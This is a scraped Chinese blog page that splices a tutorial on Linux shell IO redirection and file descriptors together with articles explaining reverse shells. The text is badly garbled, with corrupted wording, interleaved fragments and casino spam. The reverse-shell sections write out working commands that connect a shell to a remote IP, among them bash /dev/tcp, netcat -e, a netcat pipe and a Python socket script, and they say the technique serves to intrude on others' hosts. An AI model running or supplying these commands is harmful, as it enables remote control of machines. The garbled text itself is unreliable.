前言

bash&shell类别文章:http://www.cnblogs.com/f-ck-need-u/p/7048359.html**

  Linux重定向是指修改原来暗许的有些东西,对原本系统命令的默许执行措施开始展览更改,比如说简单的自己不想见见在显示屏的输出而是希望输出到某一文书中就足以经过Linux重定向来进行这项工作。


今天在看spark
stream的sample样例的时候看看linux的万金油命令nc。搜索相关的始末突然意识三个很有趣的用途正是反弹shell.下边大家就来讲讲反弹shell


  Linux默许输入是键盘,输出是显示屏。你能够用重定平素改变那几个设置。比如用wc命令的时候自然是要手动输入一篇文字来测算字符数的,用了重定向后可以直接把3个曾经写好的文书用‘<’指向那条命令,就一向能够总结这几个文件的字符数等了。输出也是一律,你能够把荧屏输出重定向到二个文本里,再到文件里去看结果。重定向操作符能够用来将下令输入和出口数据流从暗中同意地方重定向到任何职位,其输入或输出数据流的职位称为句柄;常见的句柄有三种,当然句柄能够活动扩展,一般的OS都提供类似的功力。句柄
句柄代号 句柄描述

当大家在渗透Linux主机时,反弹叁个并行的shell是那四个有要求的。在探寻引擎上摸索关键字“Linux
反弹shell”,会现出一大堆相关小说,但是其内容不仅雷同,而且都但是是报告我们执行这几个命令就足以反弹shell了,却从不一篇文章介绍那么些命令毕竟是怎么促成反弹shell的。既然大牛们无心科学普及,那小编就不得不自身入手了。本文就来探索一下唇亡齿寒命令完结的法则。

1. 什么样是反弹shell

主干的重定向功效大概都精通。本文对shell环境下的IO重定向稍作浓密,相信看完后,能够彻底领略 >file 2>&1 。

  STDIN 0 键盘输入

 

简易的话正是A主机可以因而实践B主机上的吩咐并且把再次回到值都回来到A上。

1.1 文件讲述符(file description,fd)

文件讲述符是IO重定向中的首要概念。文件讲述符使用数字代表,它指明了数额的流向特点。

软件设计认为,程序应该有一个数码来自、数听新闻说话和告诉错误的地点。在Linux系统中,它们各自接纳描述符0、① 、2来表示,那二个描述符暗中认可的靶子文件(设备)分别是/dev/stdin、/dev/stdout、/dev/stderr,它们分别是逐一终端字符设备的软链接。

[root@mariadb ~]# ll /dev/std*
lrwxrwxrwx 1 root root 15 Apr  2 07:57 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 Apr  2 07:57 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 Apr  2 07:57 /dev/stdout -> /proc/self/fd/1

[root@mariadb ~]# ll /proc/self/fd/
total 0
lrwx------ 1 root root 64 Apr  6 03:53 0 -> /dev/pts/2
lrwx------ 1 root root 64 Apr  6 03:53 1 -> /dev/pts/2
lrwx------ 1 root root 64 Apr  6 03:53 2 -> /dev/pts/2
lr-x------ 1 root root 64 Apr  6 03:53 3 -> /proc/14038/fd

在Linux中,各类进度打开时都会自行得到二个公文讲述符0、1和2,分别代表行业内部输入、标准输出、和专业错误,要是要开拓别的文件,则文件讲述符必须从3伊始标识。对于我们人为要开辟的描述符,建议采取9以内的描述符,超过9的描述符恐怕早就被系统里头分红给其余进度。

文本讲述符说白了正是系统为了跟踪那几个打开的文本而分红给它的1个数字,那一个数字和文书绑定在一齐,数据流入描述符的时候也意味流入文件。

而Linux中万物皆文件,这个文件都足以分配描述符,包罗套接字。

先后在打开文件讲述符的时候,有二种恐怕的表现:从描述符中读、向描述符中写、可读也可写。从lsof的FD列能够见到程序打开这些文件是为了从中读数据,依旧向个中写多少,亦或许既读又写。例如,tail命令监察和控制文件时,正是打开文件从中读数据的(3r的r是read,w是write,u是read
and write)。

[root@mariadb ~]# lsof -n | grep "/a.sh" | column -t                 
tail  13563  root  3r  REG  8,2  182  69632966  /root/a.sh

  STDOUT 1 输出音讯到晋升符窗口

Bash

2. 反弹shell的用途

1.2 文件讲述符的复制(duplicate)

文本讲述符的复制表示复制文件讲述符到另二个文本讲述符中以作副本文件。使用”&”进行复制。借使倒霉掌握复制的意味,将其掌握为”绑定”、”重用”。

[n]<&word :将文件描述符n绑定到word 代表的文件或描述符。可以理解为文件描述符n重用word代表的文件或描述符。n不指定则默认为0(标准输入就是0),表示标准输入也将输入到word所代表的文件或描述符中。

[n]>&word :将文件描述符n绑定到word 代表的文件或描述符。可以理解为文件描述符n重用word代表的文件或描述符。n不指定则默认为1(标准输出就是1),表示标准输出也将输出到word所代表的文件或描述符中。

注意,每绑定三遍,都会应声重定向到相应的文本。请结合上面的例子感受。

比如说, 3>&1 表示fd=3绑定到fd=1上,而fd=1近期的重定向目的文件是/dev/stdout,由此fd=3也重定向到/dev/stdout,未来进度将数据写入fd=3的时候,将一贯出口到显示屏。借使用”复制”来明白,便是fd=3是眼下fd=1的3个副本,即指向/dev/stdout设备。倘诺后边改变了fd=1的输出指标(如file1),由于fd=3的靶子如故是/dev/stdout,所以能够拿fd=3来过来fd=1使其目标变回/dev/stdout。

再例如, cat <&1 表示fd=0绑定到fd=1上,而那时候fd=1的重定向文件是/dev/stdout,由此此时/dev/stdout既是正经输入设备,也是正统输出设备,也正是说进程从/dev/stdout(显示器)接受输入,输入后再平昔出口到/dev/stdout。以下是结果:

[root@mariadb ~]# cat <&1
q   # 进入交互式,输入数据
q   # 直接输出

  STDETucson大切诺基 2 输出错误信息到升迁符窗口


本条反弹shell大部分用处是用来侵略旁人的主机。便是因为感觉十分屌的旗帜,所以才来商讨这个家伙

1.3 重定向顺序很重庆大学:”>file 2>&1″和”2>&1 >file”

恐怕很几个人都知道 >file 2>&1 的职能,它也正是 &>file ,表示行业内部输出和正式错误都重定向到file中。那它和 2>&1 >file 有何分化吗?

率先解释 >file 2>&1 。那里分四个经过:先打开file,再将fd=1重定向到file文件上,那样file文件就成了正规化输出的出口指标;之后再将fd=2绑定(注意,是绑定不是重定向)到fd=1上,而fd=1此时一度重定向到file文件上,由此fd=2也重定向到file上。所以,最后的结果是专业输出重定向到file上,标准错误也重定向到file上。

再解释 2>&1
>file 。那里也分五个进程:先将fd=2绑定到fd=1上,而此刻fd=1重定向的公文是暗许的/dev/stdout,所以fd=2也重定向到/dev/stdout;之后再将fd=1重定向到file文件上(注意,不是绑定是重定向)。相当于说,那里的科班错误和专业输出照旧是分开输出的,只然则是采纳/dev/stdout替代了/dev/stderr,使用file替代了/dev/stdout。所以,最后的结果是明媒正娶错误输出到/dev/stdout,即显示屏上,而规范输出将出口到file文件中。

能够使用下边包车型地铁命令来测试 2>&1
>file 。第多少个ls命令是天经地义的,结果输出到/tmp/a.log中,第三个ls命令是不当的,结果将一贯出口到显示器上。

[root@mariadb ~]# ls /boot 2>&1 >/tmp/a.log
[root@mariadb ~]# ls sjdfk 2>&1 >/tmp/a.log
ls: cannot access sjdfk: No such file or directory

最后,可能你早就意识了,绑定和重定向是差异的,绑定不应当叫做重定向。区分这一个概念,在骨子里运用的历程中能解决不行多的思疑。在本文结尾的末尾3个事例中,你将能13分显眼地体味到绑定和重定向的分别。

  暗许的 < 重定向输入操作符是 0,而默许的 > 重定向输出操作符是
1。键入 < 或 >
操作符之后,必须钦命数量的读写地方,能够是文件名或其余现有的句柄。

这篇小说的导火线便是网上给的Bash反弹shell的落实:

3. 反弹shell操作步骤

1.4 改变方今shell环境的重定向目的

万一在指令中央直机关接改动重定向的职位,那么命令执行完成的时候描述符会自动还原。正如上面包车型大巴 ls /boot 2>&1
>/tmp/a.log 命令,在ls执行达成后,fd=2还原回暗许的/dev/stderr,fd=1还原回暗中同意的/dev/stdout。

可是我们得以通过exec程序直接在眼下的shell环境下改变重定向指标,唯有在当下shell退出的时候才会放出描述符的绑定。

譬如:上边包车型客车下令将业内错误fd=2重定向到fd=3对应的文件上。

exec 2>&3

就此,大家恐怕在一段程序执行实现后,须要将讲述符还原到原来的地方,并关闭不再须要的讲述符。终归描述符也是财富,是不难的(ulimit
-n)。

  要钦命重定向到现有句柄,请使用与 & 字符,前面接要重定向的句柄号(即
&句柄号)。

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

3.1. 在本机开启端口9090

1.5 关闭文件讲述符

[n]>&-
[n]<&-

闭馆文件讲述符的方式是将 [n]>&word 和 [n]<&word 中的word使用标志”-“,那意味着释放fd=n描述符,且关闭其针对性的公文。

比如说,上边包车型大巴命令能够将句柄 2(即 STDERAV4奥迪Q3)重定向到句柄 1(即
STDOUT):2>&1

看看那短短的一行代码,正在复习Linux,自小编感觉出色的本身当即充满了挫败感,那都以些什么鬼。于是决定一定要搞明白它。

nc -lk 9090 

澳门金沙国际 ,1.6 打开文件

 [n]<>
filename :
打开filename,并钦定其文件讲述符为n,该描述符是可读、可写的叙说符。若不钦赐n则私下认可为0,若filename文件不设有,则先创制filename文件。

例如:

[root@mariadb ~]# exec 3<> /tmp/a.log
[root@mariadb ~]# lsof -n | grep "/a.log" | column -t 
bash  13637  root  3u  REG  8,2  292018  69632965  /tmp/a.log

一经再 exec 1>&3 将fd=1绑定到fd=3上,那么/tmp/a.log就成了正式输出的目的。

  下表列出了可用来重定向输入和输出数据流的操作符:

第2,bash
-i是打开一个互相的bash,那一个最容易易行。我们先跳过“>&”和“0>&1”,那七个是本文重点,等会再说。先来说“/dev/tcp/”。

3.2. 在急需被决定的机械上推行如下三种命令中的一种即可

1.7 文件讲述符的运动

文件讲述符的移位表示将文件讲述符1移动到描述符2上,同时关闭文件讲述符1。

 [n]>&digit- :将文件讲述符digit代表的出口文件移动到n上,并关闭digit值的叙述符。

 [n]<&digit- :将文件讲述符digit代表的输入文件移动到n上,并关闭digit值的叙述符。

例如:

[root@mariadb ~]# exec 3<> /tmp/a.log
[root@mariadb ~]# lsof -n | grep "/a.log" | column -t 
bash  13637  root  3u  REG  8,2  292018  69632965  /tmp/a.log
[root@mariadb ~]# exec 1>&3-  # 将3移动到1上,关闭3
[root@mariadb ~]# lsof -n | grep "/a.log" | column -t   # 在另一个bash窗口查看
bash  13637  root  1u  REG  8,2  292018  69632965  /tmp/a.log

可知,fd=3移动到fd=1后,原本与fd=3关联的/tmp/a.log已经关系到fd=1上。

  Linux重定向操作符 作用描述

 /dev/tcp/是Linux中的贰个尤其设备,打开这几个文件就一定于爆发了3个socket调用,建立多少个socket连接,读写那一个文件就一定于在那几个socket连接中传输数据。同理,Linux中还留存/dev/udp/。

bash -i >& /dev/tcp/10.0.0.1/9090 0>&1 

1.8 经典示例

(1). 示例一:

以下是《Advanced Bash-Scripting Guide》中的示例:

echo 1234567890 > File # (1).写字符串到"File".
exec 3<> File          # (2).打开"File"并且给它分配fd 3.
read -n 4 <&3          # (3).只读4 个字符.
echo -n . >&3          # (4).写一个小数点.
exec 3>&-              # (5).关闭fd 3.
cat File               # (6).1234.67890

(1)向文件File中写入多少个字符。

(2)打开文件File以备read/write,并分配fd=3给该文件。

(3)将fd=0绑定到fd=3上,而fd=3的重定向指标为File,所以fd=0的靶子也是File,即从File中读取数据。那里读取四个字符,由于read命令中尚无点名变量,因此分配给私下认可变量REPLY。注意,那个命令执行完结后,fd=0的重定向目的会变回/dev/stdin。

(4)将fd=1绑定到fd=3上,而fd=3的重定向指标文件为File,所以fd=1的靶子也是File,即数据写入到File中。那里写入二个小数点。注意,那一个命令甘休后,fd=1的重定向指标回变回/dev/stdout。

(5)关闭fd=3,那也会关闭其针对性的公文File。

(6)File文件中早就写入了3个小数点。假若此刻施行 echo $REPLY ,将出口”1234″。

(2). 示例二:关于讲述符苏醒、关闭

exec 6>&1                   # (1)
exec > /tmp/file.txt        # (2)
echo "---------------"      # (3)
exec 1>&6 6>&-              # (4)
echo "==============="      # (5)

干净搞懂shell的高级I,Linux渗透之反弹Shell命令解析。(1)首先将fd=6绑定到fd=1,此时fd=1的重定向目的为/dev/stdout,因而fd=6的重定向目的为/dev/stdout。

(2)将fd=1重定向到/tmp/file.txt文件。此后有着正规输出都将写入到/tmp/file.txt中。

(3)写入数据。该数量将写入到/tmp/file.txt中。

(4)将fd=1绑定回fd=6,此时fd=6的重定向目的为/dev/stdout,由此fd=1将恢复生机到/dev/stdout上。最后将fd=6关闭。

(5)写入数据,那段数据将出口在显示器上。

或是你会思疑,为何要先将fd=1绑定到fd=6上,再用fd=6来过来fd=1,复苏的时候平素将fd=1重定向回/dev/stdout不就足以了啊?

其实,那里借用fd=6这几个中间转播描述符是为了方便操作。你能够绝不它,不过在回复fd=1的重定向目的的时候,应该重定向到/dev/{伪终端字符设备}上,而不是/dev/stdout,因为/dev/stdout是软链接,其指标指向/proc/self/fd/1,但该文件只怕软链接,它指向/dev/{伪终端字符设备}。同理/dev/stdin和/dev/stderr都一样。

所以,假若你近来所在的终点假设是pts/2,那么能够动用上边包车型大巴吩咐来完结地点一样的机能:

exec > /tmp/file.txt
echo "---------------"
exec >/dev/pts/2
echo "==============="

若是不借用fd=6那几个中间转播描述符,你要先去取得并记住当前shell所在的终点,很不方便人民群众。而且,假诺要过来的不是fd={0,1,2},那就更麻烦。

最终给张描述符复制、复苏的历程示例图:

澳门金沙国际 1

  > 将下令输出写入文件或配备,而不是命令提示符或句柄

要想询问“>&”和“0>&1”,首先大家要先精通一下Linux文件讲述符和重定向。

3.3. 在本机刚才执行nc -lk 9090命令行上面输入须要被控制的主机的通令即可

  < 从文件而不是从键盘或句柄读入命令输入

linux shell下常用的文书讲述符是:

澳门金沙国际 2

  >> 将指令输出添加到文件末尾而不删除文件中已部分消息

1.  规范输入   (stdin) :代码为 0 ,使用 < 或 << ; 

4. 原理

  >& 将2个句柄的输出写入到另多少个句柄的输入中

2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

  1. A主机开启9090端口的tcp服务
  2. B主机连接到A主机的9090的tcp服务
  3. A主机通过tcp服务把命令发到B主机
  4. B主机读取命令并且在bash中推行
  5. B主机把执行结果发给A主机

  <& 从一个句柄读取输入并将其写入到另多个句柄输出中

3.  正经错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

这么就足以在A主机中’戏弄’B主机了

  | 从2个限令中读取输出并将其写入另贰个下令的输入中;也号称管道操作符

不少质地都会告知大家,2>&1是将标准错误输出合并到专业输出中,可是那五个标志具体要怎么样明白吧?笔者刚发轫一向将2>看做标准错误输出,将&看做and,将1看做规范输出。那样敞亮好像也挺对,然则只假如那般的话0>&1又该怎么领悟啊?

上边重点来了

  今后我们回过头来看看上边的那条语句mysh > mylog.txt
2>&1就可见道:

实质上&根本就不是and的意趣,学过C/C++的都晓得,在那两门语言里,&是取地址符。在那里,大家也足以将它精通为取地址符。

咱俩看这几个操作实际照旧蛮简单的,可是大家不能够只局限于外部。大家需求去询问它的规律

  > mylog.txt意思是将规范输出重定向到mylog.txt,等价于mysh 1>
mylog.txt;

好了,基本知识说完了,下边大家就追究一下麻烦了本人一天的“>&”毕竟是哪些看头。首先,小编在查资料的进度中尽管从未查到“>&”究竟是怎么着,可是有3个跟它长得很像的标记却被自个儿发现了,那正是“&>”,它和“2>&1”是3个意味,都以将标准错误输出合并到专业输出中。难道“>&”和“&>”之间有何不敢问津的贸易?让我们来动手测试一下。

实际nc -lk
9090限令没什么可说的,百度google一搜就出来了。大家明日要去解释的是bash
-i >& /dev/tcp/10.0.0.九分一090
0>&1。那条命令在google也没搜出来什么结果。所以只好协调加夜班搞了。

  2 >& 1
意思是将错误输出重定向到句柄1正规输出;综合起来正是mysh命令执行进度中产生的正规化输出和错误输出都会被重定向到mylog.txt中;

澳门金沙国际 3

inux shell下常用的文书讲述符是:

  重定向的成效格外强劲,有趣味的能够去尝试各个分歧的三结合,看看前后地方变下会有哪些结果?

从图纸中我们得以见到,在此间”>&”和“&>”作用是千篇一律的,都以将规范错误输出定向到标准输出中。

  1. 正式输入 (stdin) :代码为 0 ,使用 < 或 << ;
  2. 行业内部输出 (stdout):代码为 1 ,使用 > 或 >> ;
  3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

  有个别时候大家大概并不期望记录什么正儿八经输出恐怕是一无可取输出,那能够用mysh
>null 2>null或然mysh >/dev/null 2>/dev/null;

既然如此,那么我们就把她们交换试试看,毕竟结果一不雷同。

先是大家把那几个命令拆解一下

  I/O重定向详解

自己在虚拟机里进行

bash -i # 这个也不知道说啥  >& # 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1`  /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口  0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档  

  一 、 基本概念(那是驾驭后边的学识的前提,请务必掌握)

bash -i >& /dev/tcp/10.0.42.1/1234

骨子里前边2个指令组合在同步很好明白,正是把那些bash下的拥有出口都发送到
10.0.0.1:9090。那几个大家可以友善操作一下,去掉前边的 0>&1。

  a、 I/O重定向经常与 FD有关,shell的FD平常为十个,即 0~9;

结果如下图所示,纵然三令五申和结果都在本人本机上展现出来了,但实质上命令并不是在本机上输入的,而是只万幸虚拟机里面输入,然后命令和结果都在自小编本机上出示。

咱俩在指令里面写
2>&1都很好精通,正是把error重定向到stdout。可是0>&1好像不太好驾驭,大家看下文件讲述符

  b、
常用FD有一个,为0(stdin,标准输入)、1(stdout,标准输出)、2(stderr,标准错误输出),暗中认可与keyboard、monitor、monitor有关;

澳门金沙国际 4

澳门金沙国际 5

  c、 用 < 来改变读进的多少信道(stdin),使之从钦赐的档案读进;

澳门金沙国际 6

那边看看的是2>&1便是把公文讲述符2对应的装备改成了文件讲述符1对应的设施。那么同理
0>&1便是把 0对应的设备改成的1对应的装置,那相当于socket。那就标明了
stdin就是从socket中读取数据,然后再执行命令,把bash的命令行重临内容通过stdout发到socket。

  d、 用 > 来改变送出的数目信道(stdout,
stderr),使之输出到钦定的档案;

大家再履行

事实上这个剧情都得以在bash的man pages里面找到

  e、 0 是 < 的暗许值,因而 < 与 0<是相同的;同理,> 与
1> 是同一的;

bash -i &> /dev/tcp/10.42.0.1/1234

澳门金沙国际 7

  f、 在IO重定向 中,stdout 与 stderr 的管道会先准备好,才会从 stdin
读进资料;

作用是同样的,就不上图了。所以由履行可知,“>&”和我们普遍的“&>”是二个意思,都以将行业内部错误输出重定向到标明输出。

文书档案里面写的很清楚 n<&word 是吧word复制给n,
n>&word是吧word复制给n。

  g、 管道“|”(pipe line):上3个命令的 stdout 接到下一个指令的 stdin;

好了,二个难题早已缓解,下3个正是“0>&1”。大家都明白,标准输入相应是“0<”而不是“0>”,难道这么些跟上五个难题样都以同三个命令的两样写法?让大家试一下“0<&1”,看看会发出什么样。

之所以那里写 0<&1 或然是
0>&1都以能够的,只要把文件讲述符1对应的设施复制给文件讲述符0就能够了

  h、 tee 命令是在不影响原本 I/O 的情况下,将 stdout 复制一份到档案去;

澳门金沙国际 8

参照小说

  i、
bash(ksh)执行命令的历程:分析命令-变量求值-命令替代(“和$(
))-重定向-通配符展开-鲜明路径-执行命令;

澳门金沙国际 9

【编辑推荐】

  j、 ( ) 将 command group 置于 sub-shell 去实践,也称 nested
sub-shell,它有好几分外主要的特点是:继承父shell的Standard input,
output, and error plus any other open file descriptors。

在上图中大家收获了1个并行的shell。果然是如此!“0>&1”和“0<&1”是二个意思,都是将行业内部输入重定向到正规输出中。使用

  k、 exec 命令:常用来顶替当前 shell 同仁一视新起动二个shell,换句话说,并从未运营子
shell。使用这一下令时其它现有条件都将会被破除。exec
在对文件讲述符进行操作的时候,也唯有在此刻,exec 不会覆盖你近期的 shell
环境。

bash -i &> /dev/tcp/10.42.0.1 0<&1

  2、 基本IO

一致能反弹三个可相互的shell。

  cmd > file 把 stdout 重定向到 file 文件中;

综合,那句发号施令的意味正是,创造1个可相互的bash和3个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的长河。

  cmd >> file 把 stdout 重定向到 file 文件中(追加);

 

  cmd 1> fiel 把 stdout 重定向到 file 文件中;

NetCat

  cmd > file 2>&1 把 stdout 和 stderr 一起重定向到 file 文件中;


  cmd 2> file 把 stderr 重定向到 file 文件中;

假定目的主机协助“-e”选项的话,大家就足以一向用

  cmd 2>> file 把 stderr 重定向到 file 文件中(追加);

nc -e /bin/bash 10.42.0.1 1234

  cmd >> file 2>&1 把 stderr 和 stderr 一起重定向到 file
文件中(追加);

但当不支持时,大家就要用到Linux神奇的管道了。我们能够在和谐机器上监听多个端口,

  cmd < file >file2 cmd 命令以 file 文件作为 stdin,以 file2
文件作为 stdout;

nc -l -p 1234 -vv
nc -l -p 4321 -vv

  cat <>file 以读写的方法打开 file;

下一场在对象主机上推行以下命令:

  cmd < file cmd 命令以 file 文件作为 stdin;

nc  10.42.0.1 1234  |  /bin/bash  |  nc 10.42.0.1 4321

  cmd << delimiter Here document,从 stdin 中读入,直至境遇delimiter 分界符。

那儿我们就能够在1234端口输入指令,在4321端口查看命令的输出了。

  3、 进阶IO

管道“|”能够将上3个命令的出口作为下1个指令的输入。所以地点命令的情致就是将10.42.0.1:1234传过来的授命交给/bin/bash执行,再将实施结果传给10.42.0.1:4321彰显。

  >&n 使用系统调用 dup (2) 复制文件讲述符 n 并把结果用作标准输出;

 

  <&n 标准输入复制自文件讲述符 n;

Python

  <&- 关闭标准输入(键盘);


  >&- 关闭标准输出;

python -c 
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'

  n<&- 表示将 n 号输加入关贸总协定组织闭;

python
-c表示执行后边的代码。首先引入了七个库socket,subprocess,os,那五个库前面都要选择,然后创立了二个采取TCP的socket,接着执行connect函数连接到黑客主机所监听的端口。接着执行os库的dup2函数来举行重定向。dup2传入三个文件描述符,fd1和fd2(fd1是必须存在的),假如fd2存在,就关门fd2,然后将fd1代表的11分文件强行复制给fd2,fd2这么些文件讲述符不会发生变化,不过fd2指向的公文就成为了fd1指向的文件。
那么些函数最大的功能是重定向。五个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。最终建立了叁个子历程,传入参数“-i”使bash以相互形式运营。那些时候大家的输入输出都会被重定向到socket,黑客就能够执行命令了。

  n>&- 表示将 n 号输出关闭;

澳门金沙国际 10

  上述全部格局都足以教导四个数字,此时创制的文书讲述符由那个数字钦定而不是缺省的
0 或 1。如:

澳门金沙国际 11

  … 2>file 运维四个命令并把错误输出(文件讲述符 2)定向到 file。

大家得以看来成功的弹回了1个shell。

  … 2>&1
运转3个限令并把它的正规化输出和出口合并。(严刻的正是通过复制文件讲述符 1
来建立文件讲述符 2 ,但成效日常是统一了多个流。)

 

  大家对 2>&1详细说多美滋(Dumex)(Nutrilon)下 :2>&1 约等于 FD2=FD1
,这里并不是说FD2 的值 等于FD1的值,因为 >
是改变送出的数额信道,也正是说把 FD2 的 “数据输出通道” 改为 FD1 的
“数据输出通道”。要是单纯那样,那几个改变好像向来不什么效益,因为 FD2
的暗许输出和 FD1的私下认可输出本来都以 monitor,一样的!不过,当 FD1
是别的文件,甚至是别的 FD
时,那些就拥有格外的用处了。请大家必须通晓那或多或少。

总结

  exec 0exec 1>outfilename # 打开文件outfilename作为stdout。


  exec 2>errfilename # 打开文件 errfilename作为 stderr。

在对新闻安全的就学中,大家要时刻保持好奇心,多问为什么,要多去探索根本规律,而不是只会使用工具和死记硬背,境遇不会又搜不到答案的难点,大家要挺身推断,小心求证,唯有这么大家才能源源的升华,在音信安全的园地越走越远。

  exec 0<&- # 关闭 FD0。

 

  exec 1>&- # 关闭 FD1。

 学习质地推荐>>>>>> 

  exec 5>&- # 关闭 FD5。

  Linux安全基础

  1    COMMAND_OUTPUT >
  2      # 重定向stdout到八个文件.
  3      # 借使没有那么些文件就创办, 否则就覆盖.
  4
  5      ls -lR > dir-tree.list
  6      # 创造三个包蕴目录树列表的文件.
  7
  8    : > filename
  9      # > 会把公文”filename”截断为0长度.
  10      # 即便文件不存在,
那么就创制一个0长度的文本(与’touch’的功能同样).
  11      # : 是三个占位符, 不发生别的输出.
  12
  13    > filename   
  14      # > 会把公文”filename”截断为0长度.
  15      # 假设文件不存在,
那么就创办一个0长度的文书(与’touch’的功效一样).
  16      # (与上方的”: >”效果一样,
可是在某个shell下只怕还是无法工作.)
  17
  18    COMMAND_OUTPUT >>
  19      # 重定向stdout到三个文件.
  20      # 若是文件不设有, 那么就创立它, 假诺存在,
那么就大增到文件前边.
  21
  22
  23      # 单行重定向命令(只会潜移默化它们所在的行):

Linux运行基础

  24      #

  25
  26    1>filename
  27      # 重定向stdout到文件”filename”.
  28    1>>filename
  29      # 重定向并追加stdout到文件”filename”.
  30    2>filename
  31      # 重定向stderr到文件”filename”.
  32    2>>filename
  33      # 重定向并扩展stderr到文件”filename”.
  34    &>filename
  35      # 将stdout和stderr都重定向到文件”filename”.
  36
  37     
#==============================================================================
  38      # 重定向stdout, 一次一行.
  39      LOGFILE=script.log
  40
  41      echo “This statement is sent to the log file, \”$LOGFILE\”.”
1>$LOGFILE
  42      echo “This statement is appended to \”$LOGFILE\”.”
1>>$LOGFILE
  43      echo “This statement is also appended to \”$LOGFILE\”.”
1>>$LOGFILE
  44      echo “This statement is echoed to stdout, and will not appear
in \”$LOGFILE\”.”
  45      # 每行过后, 这个重定向命令会活动”reset”.
  46
  47
  48
  49      # 重定向stderr, 2回一行.
  50      ERRORFILE=script.errors
  51
  52      bad_command1 2>$ERRORFILE      # 
错误信息发到$EHavalROCR-VFILE中.
  53      bad_command2 2>>$ERRORFILE      # 
错误新闻添加到$E奥迪Q7ROLX570FILE中.
  54      bad_command3                    #  错误音讯echo到stderr,
  55                                      #+
并且不出新在$EQX56ROLANDFILE中.
  56      # 每行过后, 这几个重定向命令也会自行”reset”.
  57     
#==============================================================================
  58
  59
  60
  61    2>&1
  62      # 重定向stderr到stdout.
  63      # 得到的错误新闻与stdout一样, 发送到三个地方.
  64
  65    i>&j
  66      # 重定向文件讲述符i 到 j.
  67      # 指向i文件的享有出口都发送到j中去.
  68
  69    >&j
  70      # 暗许的, 重定向文件讲述符1(stdout)到 j.
  71      # 全部传递到stdout的出口都送到j中去.
  72
  73    0< FILENAME
  74    < FILENAME
  75      # 从文件中经受输入.
  76      # 与”>”是成对命令, 并且平日都是组成使用.
  77      #
  78      # grep search-word <filename
  79
  80
  81    [j]<>filename
  82      # 为了读写”filename”, 把公文”filename”打开,
并且分配文件讲述符”j”给它.
  83      # 如若文件”filename”不设有, 那么就成立它.
  84      # 就算文件讲述符”j”没钦赐, 那暗许是fd 0, stdin.
  85      #
  86      # 那种使用一般是为了写到2个文书中钦命的地点.
  87      echo 1234567890 > File    # 写字符串到”File”.
  88      exec 3<> File            # 打开”File”并且给它分配fd

  1.   89      read -n 4 <&3            # 只读4个字符.
      90      echo -n . >&3            # 写二个小数点.
      91      exec 3>&-                # 关闭fd 3.
      92      cat File                  # ==> 1234.67890
      93      # 随机存款和储蓄.
      94
      95
      96
      97    |
      98      # 管道.
      99      # 通用目的的拍卖和下令链工具.
     100      # 与”>”很一般, 然则实际更通用.
     101      # 对于想将下令, 脚本, 文件和顺序串连起来的时候很有用.
     102      cat *.txt | sort | uniq > result-file
     103      # 对持有的.txt文件的输出实行排序, 并且删除重复行,
     104      # 最终将结果保存到”result-file”中.

 

澳门金沙国际 12

 

相关文章